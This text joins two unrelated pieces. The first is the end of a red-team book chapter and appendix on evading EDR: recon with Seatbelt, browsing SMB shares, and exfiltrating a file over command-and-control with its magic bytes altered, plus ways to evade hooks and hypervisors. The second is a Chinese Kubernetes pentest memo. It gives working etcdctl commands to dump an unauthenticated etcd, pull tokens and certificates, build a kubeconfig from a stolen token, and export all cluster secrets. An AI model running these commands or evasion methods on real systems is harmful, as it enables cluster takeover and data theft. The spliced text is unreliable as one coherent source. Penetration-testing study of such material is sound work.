can use it again. The TcpConnections module lists the existing connections between our host and others in the network, as shown in Listing 13-3. ====== TcpConnections ====== Local Address Foreign Address State PID Service ProcessName 0.0.0.0:135 0.0.0.0:0 LISTEN 768 RpcSs svchost.exe 0.0.0.0:445 0.0.0.0:0 LISTEN 4 System 0.0.0.0:3389 0.0.0.0:0 LISTEN 992 TermService svchost.exe 0.0.0.0:49664 0.0.0.0:0 LISTEN 448 wininit.exe 0.0.0.0:49665 0.0.0.0:0 LISTEN 1012 EventLog svchost.exe 0.0.0.0:49666 0.0.0.0:0 LISTEN 944 Schedule svchost.exe 0.0.0.0:49669 0.0.0.0:0 LISTEN 1952 Spooler spoolsv.exe 0.0.0.0:49670 0.0.0.0:0 LISTEN 548 Netlogon lsass.exe 0.0.0.0:49696 0.0.0.0:0 LISTEN 548 lsass.exe 0.0.0.0:49698 0.0.0.0:0 LISTEN 1672 PolicyAgent svchost.exe 0.0.0.0:49722 0.0.0.0:0 LISTEN 540 services.exe 10.1.10.101:139 0.0.0.0:0 LISTEN 4 System 10.1.10.101:51308 52.225.18.44:443 ESTAB 984 edge.exe 10.1.10.101:59024 34.206.39.153:80 ESTAB 984 edge.exe 10.1.10.101:51308 50.62.194.59:443 ESTAB 984 edge.exe 10.1.10.101:54892 10.1.10.5:49458 ESTAB 2544 agent.exe 10.1.10.101:65532 10.1.10.48:445 ESTAB 4 System 1 Listing 13-3: Enumerating network connections with Seatbelt This output can sometimes be overwhelming due to the sheer volume of connections some systems make. We can prune this list a bit by removing con- nections we’re not interested in. For example, we can remove any HTTP and HTTPS connections, as we’d most likely need to provide a username and pass- word to access these servers; we have access to a token belonging to TTAYLOR. ADM@BINFORD.COM but not the user’s password. We can also remove any loopback connections, as this won’t help us expand our access to new systems in the environment. That leaves us with a substantially smaller list. From here, we notice multiple connections to internal hosts over arbi- trarily high ports, indicative of RPC traffic. There are likely no firewalls between us and the hosts, as explicit rules for these ports are very rare, but figuring out the nature of the protocol is tricky if we don’t have GUI access to the host. Evading EDR (Early Access) © 2023 by Matt Hand 258   Chapter 13 There is also a connection to an internal host over TCP port 445 1, which is virtually always an indication of remote file-share browsing using SMB. SMB can use our token for authentication and won’t always require us to enter credentials. Furthermore, we can leverage the file-sharing func- tionality to browse the remote system without deploying a new agent. That sounds like exactly what we’re after! Enumerating Shares Assuming this is a traditional SMB connection, we now need to find the name of the share being accessed. The easy answer, especially if we assume that we’re an administrator, is to mount the C$ share. This will allow us to browse the operating system volume as if we were in the root of the C: drive. However, in enterprise environments, shared drives are rarely accessed in this way. Shared folders are much more common. Unfortunately for us, enumerating these shares isn’t as simple as just listing out the contents of \\10.1.10.48\. There are plenty of ways to get this information, though. Let’s explore some of them: Using the net view command Requires us to launch net.exe on the host, which an EDR’s process-creation sensors highly scrutinize Running Get-SmbShare in PowerShell Built-in PowerShell cmdlet that works both locally and remotely but requires us to invoke powershell.exe Running Get-WmiObject Win32_Share in PowerShell Similar to the previ- ous cmdlet but queries for shares over WMI Running SharpWMI.exe action= query query= " "select * from win32 _share" " Functionally the same as the previous PowerShell example but uses a .NET assembly, which allows us to operate using execute- assembly and its equivalents Using Seatbelt.exe network shares Nearly identical to SharpWMI; uses the Win32_Share WMI class to query the shares on a remote system These are just a few examples, and there are pros and cons to each. Since we’ve already put in the work to obfuscate Seatbelt and know that it works well in this environment, we can use it again here. Most EDRs work on a process-centric model, meaning that they track activity based on pro- cesses. Like our initial access, we’ll be running in excel.exe and, if needed, set our spawnto process to the same image as it was previously. When we enumerate remote shares on 10.1.10.48, Seatbelt generates the output shown in Listing 13-4. ====== NetworkShares ====== Name : FIN Path : C:\Shares\FIN Description : Type : Disk Drive Name : ENG Path : C:\Shares\ENG Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   259 Description : Type : Disk Drive Name : IT Path : C:\Shares\IT Description : Type : Disk Drive --snip-- [*] Completed collection in 0.121 seconds Listing 13-4: Enumerating network shares with Seatbelt The information tells us a few things about the target system. First, we have the ability to browse C$, which indicates that either we were granted read access to their filesystem volume, or, more likely, we have administra- tive access to the host. Read access to C$ allows us to enumerate things such as installed software and users’ files. These both can provide valuable con- text about how the system is used and who uses it. The other network shares are more interesting than C$, though. They look like they belong to various business units inside Binford: FIN could stand for Finance, ENG for Engineering, IT for Information Technology, MKT for Marketing, and so on. ENG could be a good target based on our stated objectives. However, there are detection risks to finding out for sure. When we list the contents of a remote share, a few things happen. First, a network connection is established with the remote server. The EDR’s network filter driver will monitor this, and because it is an SMB client connection, the Microsoft-Windows-SMBClient ETW provider comes into play as well. Our client will authenticate to the remote system, creating an event through the ETW provider Microsoft-Windows-Security-Auditing (as well as an event ID 5140, indicating that a network share was accessed, in the security event log) on the remote system. If a system access control list (SACL), a type of access control list used to audit access requests made for an object, is set on the shared folder or files within, an event will be generated via the Microsoft- Windows-Security-Auditing ETW provider (as well as an event ID 4663) when the contents of the shared folder are accessed. Remember, though, that the fact that telemetry was generated on the host doesn’t necessarily mean that it was captured. In my experience, EDRs monitor almost none of what I mentioned in the preceding paragraph. They might monitor the authentication event and network, but we’re using an already-established network connection to the SMB server, meaning brows- ing the ENG share could allow us to blend in with the normal traffic coming from this system, lessening the likelihood of detection due to an anomalous access event. This is not to say that we’ll blend in so much that there is no risk at all. Our user may not typically browse the ENG share, making any access event anomalous at the file level. There may be non-EDR controls, such as data- loss prevention software or a canary facilitated through the SACL. We have Evading EDR (Early Access) © 2023 by Matt Hand 260   Chapter 13 to measure the reward of this share potentially holding Binford’s crown jewels against the risk of detection posed by our browsing. All signs are pointing to this drive holding what we’re after, so we start recursively listing the subdirectories of the ENG share and find \\10.1.10.48\ ENG\Products\6100\3d\screwdriver_v42.stl, a stereolithography file commonly used by design applications in the mechanical engineering world. In order to verify that this file is the 3D model for the Binford 6100 left-handed screwdriver, we’ll need to exfiltrate it and open it in an application capable of processing .stl files. File Exfiltration The last step of our attack is pulling Binford’s crown jewels out of its envi- ronment. Oddly, of everything we’ve done in this operation, this has the lowest likelihood of detection by the EDR despite having the highest impact to the environment. To be fair, it isn’t really the EDR’s domain. Still, sensors could detect our data exfiltration, so we should remain thoughtful in our approach. There many ways to exfiltrate data from a system. Choosing a technique depends on a number of factors, such as the data’s location, contents, and size. Another factor to consider is how fault tolerant the data format is; if we don’t receive the full contents of the file, is it still workable? A text file is a good example of a very fault-tolerant file type, as missing half of the file means we’re simply missing half of the text in the document. On the other hand, images are generally not fault tolerant, because if we’re missing some portion of the picture, we generally won’t be able to reconstruct it in any meaningful way. Lastly, we should consider how quickly we need the data. If we need it soon and all at once, we typically inherit a higher risk of detection than if we exfiltrate the file slowly because the volume of data transmitted across the network boundary, where security monitoring is likely to be imple- mented, will be higher in a given timeframe. In our operation, we can afford to take more risk because we’re not interested in staying embedded in the environment for much longer. Through our reconnaissance against the ENG share, we see that the .stl file is 4MB, which isn’t excessive compared to other types of files. Since we have a high risk tolerance and are working with a small file, let’s take the easy route and exfiltrate the data over our command-and-control channel. Even though we’re using HTTPS, we should still protect the contents of the data. Assume the contents of any message that we send will be subjected to inspection by a security product. When it comes to exfiltrating files spe- cifically, one of our biggest concerns is the file signature, or magic bytes, at the beginning of the file used to uniquely identify the file type. For .stl files, this signature is 73 6F 6C 69 64. Thankfully, there are many ways to obfuscate the type of file we’re exfiltrating, ranging from encrypting the contents of the file to simply trim- ming off the magic bytes before transmitting the file and then appending them again after the file is received. For human-readable file types, I prefer Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   261 encryption, since there may be monitoring in place for a specific string in an outbound connection request. For other types of files, I’ll usually either remove, mangle, or falsify the magic bytes for the file if detection at this stage is a concern. When we’re ready to exfiltrate the file, we can use our agent’s built-in download functionality to send it over our established command-and-con- trol channel. When we do this, we are going to make a request to open the file so that we can read its contents into memory. When this happens, the EDR’s filesystem minifilter driver will receive a notification and may look at certain attributes associated with the event, such as who the requestor is. Since the organization itself would have to build a detection from this data, the likelihood of an EDR having a detection here is relatively low. Once we’ve read the contents of the file into our agent’s address space, we can close the handle to the file and start the transfer. Transmitting data over HTTP or HTTPS channels will cause related ETW providers to emit events, but these typically don’t include the message contents if the channel is secure, as with HTTPS. So, we shouldn’t have any issue getting our design plans out. Once we have the file downloaded, we simply add back the magic bytes and open the file in the 3D modeling software of choice (Figure 13-1). Figure 13-1: The Binford 6100 left-handed screwdriver Conclusion We’ve completed the engagement objective: accessing the design informa- tion for Binford’s revolutionary product (pun intended). While executing this operation, we used our knowledge of an EDR’s detection methods to make educated choices about how to move through the environment. Bear in mind that the path we took may not have been the best (or only) way to reach the objective. Could we have outpaced Binford’s Evading EDR (Early Access) © 2023 by Matt Hand 262   Chapter 13 defenders without considering the noise we were making? What if we decided not to work through Active Directory and instead used a cloud- based file-hosting application, such as SharePoint, to locate the design information? Each of these approaches significantly alters the ways in which Binford could detect us. After reading this book, you should be armed with the information you need to make these strategic choices on your own. Tread carefully, and good luck. Evading EDR (Early Access) © 2023 by Matt Hand Modern EDRs sometimes make use of less popular components not covered in this book so far. These auxiliary telemetry sources can provide immense value to the EDR, offering access to data that would otherwise be unavailable from other sensors. Because these data sources are uncommon, we won’t take a deep dive into their inner workings. Instead, this appendix covers some examples of them, how they work, and what they can offer an EDR agent. This is by no means an exhaustive list, but it shines a light on some of the more niche components you may encounter during your research. Alternative Hooking Methods This book has shown the value of intercepting function calls, inspecting the parameters passed to them, and observing their return values. The most prevalent method of hooking function calls at the time of this writing relies A PPE N DI X: AU X IL I A RY SO U RCE S Evading EDR (Early Access) © 2023 by Matt Hand 264   Appendix: Auxiliary Sources on injecting a DLL into the target process and modifying the execution flow of another DLL’s exported functions, such as those of ntdll.dll, forcing execution to pass through the EDR’s DLL. However, this method is trivial to bypass due to weaknesses inherent in its implementation (see Chapter 2). Other, more robust methods of intercepting function calls exist, such as using the Microsoft-Windows-Threat-Intelligence ETW provider to indi- rectly intercept certain syscalls in the kernel, but these have their own limi- tations. Having multiple techniques for achieving the same effect provides advantages for defenders, as one method may work better in some contexts than others. For this reason, some vendors have leveraged alternative hook- ing methods in their products to augment their ability to monitor calls to suspicious functions. In a 2015 Recon talk titled “Esoteric Hooks,” Alex Ionescu expounded on some of these techniques. A few mainstream EDR vendors have imple- mented one of the methods he outlines: Nirvana hooks. Where garden- variety function hooking works by intercepting the function’s caller, this technique intercepts the point at which the syscall returns to user mode from the kernel. This allows the agent to identify syscalls that didn’t origi- nate from a known location, such as the copy of ntdll.dll mapped into a process’s address space. Thus, it can detect the use of manual syscalls, a tech- nique that has become relatively common in offensive tools in recent years. There are a few notable downsides to this hooking method, though. First, it relies on an undocumented PROCESS_INFORMATION_CLASS and associated structure being passed to NtSetInformationProcess() for each process the product wishes to monitor. Because it isn’t formally supported, Microsoft may modify its behavior or disable it entirely at any time. Additionally, the developer must identify the source of the call by capturing the return con- text and correlating it to a known good image in order to detect manual syscall invocation. Lastly, this hooking method is simple to evade, as adver- saries can remove the hook from their process by nulling out the callback via a call to NtSetInformationProcess(), similarly to how the security process initially placed it. Even if Nirvana hooks are relatively easy to evade, not every adversary has the capability to do so, and the telemetry they provide might still be valuable. Vendors can employ multiple techniques to provide the coverage they desire. RPC Filters Recent attacks have rekindled interest in RPC tradecraft. Lee Christensen’s PrinterBug and topotam’s PetitPotam exploits, for example, have proven their utility in Windows environments. In response, EDR vendors have begun paying attention to emerging RPC tradecraft in hopes of detecting and preventing their use. RPC traffic is notoriously difficult to work with at scale. One way EDRs can monitor it is by using RPC filters. These are essentially firewall rules based on RPC interface identifiers, and they’re simple to create and deploy using Evading EDR (Early Access) © 2023 by Matt Hand Appendix: Auxiliary Sources    265 built-in system utilities. For example, Listing A-1 demonstrates how to ban all inbound DCSync traffic to the current host using netsh.exe interactively. An EDR could deploy this rule on all domain controllers in an environment. netsh> rpc filter netsh rpc filter> add rule layer=um actiontype=block Ok. netsh rpc filter> add condition field=if_uuid matchtype=equal \ data=e3514235-4b06-11d1-ab04-00c04fc2dcd2 Ok. netsh rpc filter> add filter FilterKey: 6a377823-cff4-11ec-967c-000c29760114 Ok. netsh rpc filter> show filter Listing all RPC Filters. ----------------------------- filterKey: 6a377823-cff4-11ec-967c-000c29760114 displayData.name: RPCFilter displayData.description: RPC Filter filterId: 0x12794 layerKey: um weight: Type: FWP_EMPTY Value: Empty action.type: block numFilterConditions: 1 filterCondition[0] fieldKey: if_uuid matchType: FWP_MATCH_EQUAL conditionValue: Type: FWP_BYTE_ARRAY16_TYPE Value: e3514235 11d14b06 c00004ab d2dcc24f Listing A-1: Adding and listing RPC filters using netsh These commands add a new RPC filter that specifically blocks any com- munications using the Directory Replication Service RPC interface (which has the GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2). Once the filter is installed via the add filter command, it is live on the system, prohibiting DCSync. Whenever the RPC filter blocks a connection, the Microsoft-Windows- RPC provider will emit an ETW similar to the one shown in Listing A-2. An RPC call was blocked by an RPC firewall filter. ProcessName: lsass.exe InterfaceUuid: e3514235-4b06-11d1-ab04-00c04fc2dcd2 RpcFilterKey: 6a377823-cff4-11ec-967c-000c29760114 Listing A-2: An ETW event showing activity blocked by a filter While this event is better than nothing, and defenders could theoreti- cally use it to build detections, it lacks much of the context needed for a robust detection. For example, the principal that issued the request and the direction of traffic (as in, inbound or outbound) are not immediately clear, making it difficult to filter events to help tune a detection. Evading EDR (Early Access) © 2023 by Matt Hand 266   Appendix: Auxiliary Sources A better option may be to consume a similar event from the Microsoft- Windows-Security-Auditing Secure ETW provider. Since this provider is protected, standard applications can’t consume from it. It is, however, fed into the Windows Event Log, where it populates Event ID 5157 whenever the base filtering engine component of the Windows Filtering Platform blocks a request. Listing A-3 contains an example of Event ID 5157. You can see how much more detailed it is than the one emitted by Microsoft-Windows-RPC. <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994 -A5BA-3E3B0328C30D}" /> <EventID>5157</EventID> <Version>1</Version> <Level>0</Level> <Task>12810</Task> <Opcode>0</Opcode> <Keywords>0x8010000000000000</Keywords> <TimeCreated SystemTime="2022-05-10T12:19:09.692752600Z" /> <EventRecordID>11289563</EventRecordID> <Correlation /> <Execution ProcessID="4" ThreadID="3444" /> <Channel>Security</Channel> <Computer>sun.milkyway.lab</Computer> <Security /> </System> <EventData> <Data Name="ProcessID">644</Data> <Data Name="Application">\device\harddiskvolume2\windows\system32\lsass.exe</Data> <Data Name="Direction">%%14592</Data> <Data Name="SourceAddress">192.168.1.20</Data> <Data Name="SourcePort">62749</Data> <Data Name="DestAddress">192.168.1.5</Data> <Data Name="DestPort">49667</Data> <Data Name="Protocol">6</Data> <Data Name="FilterRTID">75664</Data> <Data Name="LayerName">%%14610</Data> <Data Name="LayerRTID">46</Data> <Data Name="RemoteUserID">S-1-0-0</Data> <Data Name="RemoteMachineID">S-1-0-0</Data> </EventData> </Event> Listing A-3: An event manifest for the Microsoft-Windows-Security-Auditing Secure ETW provider While this event contains much more data, it also has some limita- tions. Notably, although the source and destination ports are included, the interface ID is missing, making it difficult to determine whether the event is related to the filter that blocks DCSync attempts or another filter entirely. Additionally, this event operates inconsistently across Windows versions, generating correctly in some and completely missing in others. Therefore, some defenders might prefer to use the less-enriched but more consistent RPC event as their primary data source. Evading EDR (Early Access) © 2023 by Matt Hand Appendix: Auxiliary Sources    267 Hypervisors Hypervisors virtualize one or more guest operating systems, then act as an intermediary between the guest and either the hardware or the base oper- ating system, depending on the hypervisor’s architecture. This intermedi- ary position provides EDRs with a unique opportunity for detection. How Hypervisors Work The inner workings of a hypervisor are relatively simple once you under- stand a few core concepts. Windows runs code at several rings; the code running in a higher ring, such as ring 3 for user mode, is less privileged than code running at a lower one, such as ring 0 for the kernel. Root mode, where the hypervisor resides, operates at ring 0, the lowest architecturally supported privilege level, and limits the operations that the guest, or non- root mode system, can perform. Figure A-1 shows this process. Guest 2 Guest 1 Hypervisor VMCS VMEXIT VMENTER VMEXIT VMENTER VMCS Figure A-1: The operation of VMEXIT and VMRESUME When a virtualized guest system attempts to execute an instruction or perform some action that the hypervisor must handle, a VMEXIT instruction occurs. When this happens, control transitions from the guest to the hyper- visor. The Virtual Machine Control Structure (VMCS) preserves the state of the processor for both the guest and the hypervisor so that it can be restored later. It also keeps track of the reason for the VMEXIT. One VMCS exists for each logical processor of the system, and you can read more about them in volume 3C of the Intel Software Developer’s Manual. N O T E For the sake of simplicity, this brief exploration covers the operation of a hypervisor based on Intel VT-x, as Intel CPUs remain the most popular at the time of this writing. When the hypervisor enters root-mode operation, it may emulate, modify, and log the activity based on the reason for the VMEXIT. These exits may occur for many common reasons, including instructions such as RDMSR, for reading model-specific registers, and CPUID, which returns information about the processor. After the completion of the root-mode operation, execution is transferred back to non-root-mode operation via a VMRESUME instruction, allowing the guest to continue. There are two types of hypervisors. Products such as Microsoft’s Hyper-V and VMware’s ESX are what we call Type 1 hypervisors. This means the hypervisor runs on the bare metal system, as shown in the Figure A-2. Evading EDR (Early Access) © 2023 by Matt Hand 268   Appendix: Auxiliary Sources Guest Guest Hypervisor Hardware Type 1 Figure A-2: A Type 1 hypervisor architecture The other kind of hypervisor, Type 2, runs in an operating system installed on the bare metal system. Examples of these include VMware’s Workstation and Oracle’s VirtualBox. The Type 2 architecture is shown in Figure A-3. Guest Guest Hypervisor Base operating system Hardware Type 2 Figure A-3: A Type 2 hypervisor architecture Type 2 hypervisors are interesting because they can virtualize a system that is already running. Thus, rather than requiring the end user to log in to their system, start an application such as VMware Workstation, launch a virtual machine, log in to the virtual machine, and then do their work from that virtual machine, their host is the virtual machine. This makes the hypervisor layer transparent to the user (and resident attackers) while allowing the EDR to collect all the telemetry available. Most EDRs that implement a hypervisor take the Type 2 approach. Even so, they must follow a complicated series of steps to virtualize an exist- ing system. Full hypervisor implementation is far beyond the scope of this book. If this topic interests you, both Daax Rynd and Sina Karvandi have excellent resources for implementing your own. Security Use Cases A hypervisor can provide visibility into system operations at a layer deeper than nearly any other sensor. Using one, an endpoint security product can detect attacks missed by the sensors in other rings, such as the following: Virtual Machine Detection Some malware attempts to detect that it is running in a virtual machine by issuing a CPUID instruction. Since this instruction causes a VMEXIT, the hypervisor has the ability to choose what to return to the caller, allow- ing it to trick the malware into thinking it isn’t running in a VM. Evading EDR (Early Access) © 2023 by Matt Hand Appendix: Auxiliary Sources    269 Syscall Interception A hypervisor can potentially leverage the Extended Feature Enable Register (EFER) function to exit on each syscall and emulate its operation. Control Register Modification A hypervisor can detect the modification of bits in a control register (such as the SMEP bit in the CR4 register), which is behavior that could be part of an exploit. Additionally, the hypervisor can exit when a control register is changed, allowing it to inspect the guest execution context to identify things such as token-stealing attacks. Memory Change Tracing A hypervisor can use the page-modification log in conjunction with Extended Page Tables (EPT) to track changes to certain regions of memory. Branch Tracing A hypervisor can leverage the last branch record, a set of registers used to trace branches, interrupts, and exceptions, along with EPT to trace the execution of the program beyond monitoring its syscalls. Evading the Hypervisor One of the difficult things about operating against a system onto which a vendor has deployed a hypervisor is that, by the time you know you’re in a virtual machine, you’ve likely already been detected. Thus, malware devel- opers commonly use virtual-machine-detection functions, such as CPUID instructions or sleep acceleration, prior to executing their malware. If the malware finds that it is running in a virtual machine, it may opt to termi- nate or merely do something benign. Another option available to attackers is unloading the hypervisor. In the case of Type 2 hypervisors, you might be able to interact with the driver via an I/O control code, by changing the boot configuration, or by directly stopping the controlling service in order to cause the hypervisor to devirtualize the processors and unload, preventing its ability to monitor future actions. To date, there are no public reports of a real-world adversary employing these techniques. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand Never before has the world relied so heavily on the Internet to stay connected and informed. That makes the Electronic Frontier Foundation’s mission—to ensure that technology supports freedom, justice, and innovation for all people— more urgent than ever. For over 30 years, EFF has fought for tech users through activism, in the courts, and by developing software to overcome obstacles to your privacy, security, and free expression. This dedication empowers all of us through darkness. With your help we can navigate toward a brighter digital future. LEARN MORE AND JOIN EFF AT EFF.ORG/NO-STARCH-PRESS Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand
pdf
1 KWs ⼩⽩备忘录 前⾔ 简介&&基础知识 暴漏⾯梳理 etcd-未授权访问 kube-apiserver未授权访问 kubelet未授权访问 kWs dashboard认证绕过(CVE-OLNW-NWOTQ) docker未授权访问 kube-proxy配置错误 参考⽂章 致谢 最近做了⼀个某央企的内部攻防项⽬,在这种项⽬中⼜⼀次深深体会到⾃⼰的菜,加之⾃⼊球以来⼀直 没有发过⽂章,主管都准备踢我出球了,所以特地⽔⼀篇⽂章。 找了找星球还没有k8s之类的⽂章,于是⽔⽂章思想更重。 之前从来没怎么接触过k8s,但是随着云原⽣以及微服务架构的兴起,云原⽣必定是攻防重点,很多⾯试 也会问k8s的渗透经验。这次侥幸⼊内⽹后也正好发现k8s集群,所以有了⼀个预习的机会,特地写⼀篇 ⼩⽩备忘录作为备忘。⼤佬们请轻喷。 k8s全称kubernetes,是为容器服务⽽⽣的⼀个可移植容器的编排管理⼯具,越来越多的公司正在拥抱 k8s,并且当前k8s已经主导了云业务流程,推动了微服务架构等热⻔技术的普及和落地。 ⾸先,我们从容器技术谈起,在容器技术之前,⼤家开发⽤虚拟机⽐较多,⽐如vmware和openstack, 我们可以使⽤虚拟机在我们的操作系统中模拟出多台⼦电脑(Linux),⼦电脑之间是相互隔离的,但是 虚拟机对于开发和运维⼈员⽽⾔,存在启动慢,占⽤空间⼤,不易迁移的缺点。 前⾔ 简介&&基础知识 2 接着,容器化技术应运⽽⽣,它不需要虚拟出整个操作系统,只需要虚拟⼀个⼩规模的环境即可,⽽且 启动速度很快,除了运⾏其中应⽤以外,基本不消耗额外的系统资源。Docker是应⽤最为⼴泛的容器技 术,通过打包镜像,启动容器来创建⼀个服务。但是随着应⽤越来越复杂,容器的数量也越来越多,由 此衍⽣了管理运维容器的重⼤问题,⽽且随着云计算的发展,云端最⼤的挑战,容器在漂移。在此业务 驱动下,k8s问世,提出了⼀套全新的基于容器技术的分布式架构领先⽅案,在整个容器技术领域的发展 是⼀个重⼤突破与创新。 从架构设计层⾯,k8s的可⽤性,伸缩性都可得到很好的解决,如果你想使⽤微服务架构,搭配k8s,真 的是完美,再从部署运维层⾯,服务部署,服务监控,应⽤扩容和故障处理,k8s都提供了很好的解决⽅ 案。 具体来说,主要包括以下⼏点: 1. 服务发现与调度 2. 负载均衡 3. 服务⾃愈 4. 服务弹性扩容 5. 横向扩容 6. 存储卷挂载 总⽽⾔之,k8s可以使应⽤的部署和运维更加⽅便。 最后,我们看下k8s的架构: 3 k8s集群由Master节点和Node(Worker)节点组成。 Master节点 Master节点指的是集群控制节点,管理和控制整个集群,基本上k8s的所有控制命令都发给它,它负责具 体的执⾏过程。在Master上主要运⾏着: 1. Kubernetes Controller Manager(kube-controller-manager):k8s中所有资源对象的⾃动化控制 中⼼,维护管理集群的状态,⽐如故障检测,⾃动扩展,滚动更新等。 2. Kubernetes Scheduler(kube-scheduler): 负责资源调度,按照预定的调度策略将Pod调度到相 应的机器上。 3. etcd:保存整个集群的状态。 Node节点 除了master以外的节点被称为Node或者Worker节点,可以在master中使⽤命令 kubectl get nodes查看 集群中的node节点。每个Node都会被Master分配⼀些⼯作负载(Docker容器),当某个Node宕机时, 4 该节点上的⼯作负载就会被Master⾃动转移到其它节点上。在Node上主要运⾏着: 1. kubelet:负责Pod对应的容器的创建、启停等任务,同时与Master密切协作,实现集群管理的基本 功能 2. kube-proxy:实现service的通信与负载均衡 3. docker(Docker Engine):Docker引擎,负责本机的容器创建和管理 ⽤户端⼀般通过kubectl命令⾏⼯具与kube-apiserver进⾏交互,当然如果不嫌麻烦也可以直接通过调⽤ kube-apiserver的api来交互。⽤户端命令下发通常流程如下: (1)客户端根据⽤户需求,调⽤kube-apiserver相应api(2)kube-apiserver根据命令类型,联动 master节点内的kube-controller-manager和kube-scheduler等组件,通过kubelet进⾏下发新建容器配 置或下发执⾏命令等给到对应node节点(3)node节点与容器进⾏交互完成下发的命令并返回结果(4) master节点最终根据任务类型将结果持久化存储在etcd中 k8s集群主要由以下组件组成:(1)kube-apiserver:k8s master节点api服务器,以REST API服务形 式提供接⼝,作为整个k8s的控制⼊⼝。(2)kube-controller-manager:执⾏整个k8s的后台任务,包 括节点状态状况、Pod个数、Pods和Service的关联等。(3)kube-scheduler:接收来⾃kube- apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点。(4) etcd:k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库(5)kube-proxy:运⾏在每个 node节点上,负责pod⽹络代理。定时从etcd获取到service信息来做相应的策略。(6)kubelet:运⾏ 在每个node节点上,作为agent,接收分配该节点的pods任务及管理容器,周期性获取容器状态,反馈 给kube-apiserver。 所以k8s集群主要的暴露⾯其实就是在于上⽂提的⼏个重点组件中 暴漏⾯梳理 暴露⾯ Plain Text 复制代码 kube-apiserver kubelet etcd dashboard docker kube-proxy 1 2 3 4 5 6 5 其中暴露⾯中有4个未授权访问漏洞,分别为kube-apiserver、kubelet、etcd以及docker未授权访问, ⼀个dashboard认证绕过以及⼀个kube-proxy配置错误。 先对我这次的k8s渗透遇到的漏洞进⾏梳理 etcd是⼀个⾼可⽤的key-value数据库,它为k8s集群提供底层数据存储。多数情形下,数据库中的内容没有经 过加密处理,⼀旦etcd被⿊客拿下,就意味着整个k8s集群失陷。 etcd最⼤的安全⻛险是未授权访问。在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并 且没有通过iptables / 防⽕墙等实施访问控制,etcd的接⼝和数据就会直接暴露给外部⿊客。 修复建议:通过--client-cert-auth开启证书校验,开启访问控制 etcd ⼀般监听2379端⼝,对外暴露Client API,可以指定是否启⽤TLS,因此,这个端⼝可能是HTTP服务,也 可能是HTTPS服务。扫描器可以检查2个接⼝,来判断是否存在未授权访问漏洞。第⼀个接⼝是 https://IP:2379/version, ⻚⾯返回内容类似 第⼆个接⼝是 https://IP:2379/v2/keys, ⻚⾯返回内容类似 还好当时做了⼀个截图,不然很多只能靠⼲述 etcd Client API 有v2和v3两个版本,服务器也可能同时⽀持v2 v3。通过浏览器或curl访问,通常只作简单的验 证,获取少量key的内容。我们可以通过etcdctl来直接dump数据库,在⽂件中快速翻看敏感信息。 从 https://github.com/etcd-io/etcd/releases/ 下载 得到etcdctl。通过如下命令可以遍历所有的key etcd-未授权访问 遍历keys Bash 复制代码 ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix -- keys-only 1 6 如果服务器启⽤了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls- verify 下⾯的命令,通过v3 API来dump数据库到 output.data 格式是 ⼀⾏key+⼀⾏value, 如下图所示: Bash 复制代码 ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls- verify --endpoints=https://IP:2379/ get / --prefix --keys-only 1 Bash 复制代码 ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls- verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure- transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data' 1 7 上⼀步我们dump了etcd,下⾯尝试找到api server和所有证书。检索关键字 advertiseAddress 或者 kubeAPIConfig 定位api server的地址: 在导出的数据中,还可以查找所有证书,检索 BEGIN CERTIFICATE,如图所示,可以发现etcd明⽂存了多个证 书。窃取证书后,未来可能实现⻓期控制该集群。 8 在不dump数据库的情形下,我们也可以直接查找secret相关 key,执⾏如下命令: 通过 get /registry/secrets/default/admin-token-557l2 拿到 token。如下图所示: 使⽤curl访问api server,确认token正确可⽤: 如果TOKEN错误,将返回401 查找secret相关keys Bash 复制代码 ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls- verify --endpoints=https://IP:2379/ get / --prefix --keys-only|sort|uniq| grep secret 1 Bash 复制代码 curl --header "Authorization: Bearer TOKEN" -X GET https://API_SERVER:6443/api -k 1 9 如果TOKEN正确可⽤,则返回 执⾏kubectl config命令,来⽣成简单的临时配置⽂件 最后,通过该配置⽂件访问api server,达到控制k8s集群的⽬标: 这样我们就可以完全控制了整个集群 错误返回格式json JSON 复制代码 { "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "Unauthorized", "reason": "Unauthorized", "code": 401} 1 2 JSON 复制代码 { "kind": "APIVersions", "versions": [ "v1" ], "serverAddressByClientCIDRs": [ { "clientCIDR": "xxxx", "serverAddress": "xxxx" } ]} 1 ⽣成临时配置⽂件 Bash 复制代码 touch test_configkubectl --kubeconfig=./test_config config set- credentials hacker --token=TOKENkubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://IP:6443/  --insecure-skip- tls-verifykubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hackerkubectl -- kubeconfig=./test_config config use-context test_context 1 管控集群 Bash 复制代码 kubectl --kubeconfig=./test_config get nodes -A 1 10 为了扩⼤权限,渗透更多关联系统,我们可kubectl导出所有secret,它的内容⽐之前etcd导出的可读性更⾼ k8s api server存在未授权访问,攻击者可通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸⾄ 宿主机 修复建议:使⽤安全端⼝替代8080端⼝,并使⽤--tls-cert-file参数开启证书认证 访问默认8080端⼝,若存在以下回显,则漏洞存在 kube-apiserver未授权访问 Bash 复制代码 kubectl --kubeconfig=./test_config get secret -A -o custom- columns=:.metadata.name,:.metadata.namespace --no-headers | xargs -n 2 sh -c '(kubectl --kubeconfig=./test_config get secret -n $3 -o yaml $2; echo "") >> all_secrets_yaml.txt' -- {} 